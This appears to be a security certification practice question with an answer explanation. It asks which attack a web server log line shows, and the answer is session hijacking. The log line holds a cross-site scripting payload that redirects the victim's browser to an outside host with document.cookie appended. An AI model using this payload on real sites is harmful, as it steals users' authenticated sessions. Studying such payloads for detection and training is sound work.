QuestionQ64

VerifiedWeb Application Injection Attacks

You are investigating a possible web-server compromise involving user authentication. During the identification phase, you inspect the web server log file and discover thousands of lines like the one shown below. Based on the log-file information, what type of attack is this?

http://mysite.net/search.php?word=&lt;SCRIPT&gt;document.location= http://othersite.com/cgi-bin/gr.cgi? %2bdocument.cookie;</SCRIPT>

Explanation

The script redirects a victim’s browser to an attacker-controlled URL while appending document.cookie. If the injected script executes, the attacker can capture an authenticated session cookie and use it to impersonate the user, resulting in session hijacking.

Community Discussion

No comments yet. Be the first to start the discussion!